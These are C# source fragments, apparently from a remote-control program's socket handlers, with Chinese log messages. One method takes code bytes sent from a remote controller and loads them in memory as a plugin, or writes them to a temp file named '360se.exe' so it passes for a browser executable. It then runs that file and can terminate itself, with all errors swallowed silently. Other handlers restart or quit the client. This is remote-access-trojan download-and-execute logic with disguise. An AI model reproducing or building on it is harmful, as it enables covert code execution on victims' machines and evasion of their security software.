public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { string path = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName; var thread = ProcessUtil.Run(path, "/r", true); thread.Join(); RemoteControlApplication.FireQuitEvent(); }
private void Run(RequestRunExecCode req) { try { Console.WriteLine("请求ID:" + req.ID); if (codePluginDic.ContainsKey(req.ID)) { if (req.Mode == eExecMode.ExecByPlugin) { byte[] data = codePluginDic[req.ID].ToArray(); Console.WriteLine("数据长度:" + data.Length); PluginLoader.LoadPlugin(data, null); codePluginDic.Remove(req.ID); } else if (req.Mode == eExecMode.ExecByFile) { if (req.FileArguments == null) { req.FileArguments = string.Empty; } // 释放文件 byte[] data = codePluginDic[req.ID].ToArray(); string tempFile = ResUtil.WriteToRandomFile(data, "360se.exe"); // 启动新程序 Thread t = ProcessUtil.RunByCmdStart(tempFile, req.FileArguments, true); t.Join(); if (req.IsKillMySelf) { // 结束当前进程 RemoteControlApplication.FireQuitEvent(); } } } else { Console.WriteLine("请求ID不存在:" + req.ID); } } catch (Exception ex) { } }
public override void Handle(SocketSession session, ePacketType reqType, object reqObj) { RemoteControlApplication.FireQuitEvent(); }